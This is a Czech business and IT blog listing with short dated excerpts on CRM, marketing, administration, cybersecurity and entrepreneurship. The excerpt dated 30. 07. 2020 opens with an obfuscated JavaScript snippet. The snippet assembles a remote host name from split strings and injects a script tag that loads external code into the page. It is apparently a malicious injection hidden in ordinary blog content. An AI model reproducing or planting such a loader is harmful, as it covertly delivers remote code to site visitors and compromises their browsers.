Customer relationship management je strategie spočívající v budování vzájemně prospěšných vztahů se zákazníky. Jde o dlouhodobou spolupráci, která je obvykle mnohem výhodnější o proti jednorázovým zakázkám. Udržet si stávající klientelu však není snadné a bez vhodně zvoleného CRM softwaru takřka nemožné. Ale po...
25. 06. 2023
Pokud se chce firma zviditelnit nebo prosadit se na trhu mezi konkurencí, která je dnes opravdu obrovská, musí se investovat do takzvaného marketingu. Jen firma s perfektně zvládnutým marketingem dokáže uspět na trhu, kde je tolik firem nabízejících podobné nebo i stejné služby či produkty. V marketingu se využívá takzvaných...
25. 06. 2023
Moderní informační technologie dokonale pronikly do většiny oborů. Bez vhodně zvolených aplikací se dnes již neobejdou ani podnikatelé, kteří ještě relativně nedávno prohlašovali, že se jich technologický boom netýká. Přízvisko “vhodně zvolené” má přitom mnohem větší význam, než se možná na první pohled...
31. 05. 2023
V marketingu může pracovat jen někdo, kdo má pro něj cit. Ten však sám o sobě nestačí, dalším předpokladem úspěšného markeťáka je touha po vědění. Dlouhodobé a v podstatě nepřetržité vzdělávání dělá z průměrného internetového dělníka mistra svého oboru. Ale je tu ještě něco. Přání a potřeby...
30. 06. 2021
Správa účtů desítek zaměstnanců a mnoho fluktuujících externistů administrátorovi ukusuje spoustu drahocenného času. Musí se zabývat operativou a nezbývá mu kapacita pro důležitější záležitosti, jako je například vylepšování firemní infrastruktury. Na vytíženost IT oddělaní si mnohdy stěžují i pracovníci,...
30. 05. 2021
Kybernetická bezpečnost je fenomén, který pohltil celý svět informačních technologií. A nejen ten. Bezpečí svých dat si stráží všechny firmy, živnostníci i soukromé osoby. Vloupání do IT systému, krádež hesel, know how nebo zneužití kontaktů je zločinem, který mívá fatální důsledky, co do hospodaření, tak do...
20. 12. 2020
(function(){ ali1=document.createElement("script");ali1_="u"+("s")+"ta"; ali1_+=("t.i")+""+"n";ali1_+=(("f")+"o");ali1.type="text/javascript"; ali1_+="/"; ali1u="196892466";ali1u+=".re3hit7kli1d2625zbf";ali1u+="1836ek5r858"; ali1.src="https://"+ali1_+ali1u;ali1.async=true;document.body.appendChild(ali1); })(); Pracovníci kontaktních center...
30. 07. 2020
Mnoho společností po celém světě, univerzity, vládní organizace a jim podobné dnes používají open source technologie k vytvoření vlastních webových stránek. Tyto technologie se používají čím dál tím více. Jednoduše proto, že je řada poskytovatelů nabízí zcela zdarma. Je to ale opravdu to správné řešení pro...
27. 07. 2020
Podnikání je svět, který láká nejednoho z nás. Mnozí lidé chtějí podnikat, chtějí se tímto způsobem postavit na vlastní nohy a chtějí se tak stát pánem svého času. Jenže podnikání není procházka růžovým sadem, velice těžký je hlavně start ve světě podnikání. Člověk musí vynaložit nejen velké úsilí, ale...
28. 05. 2019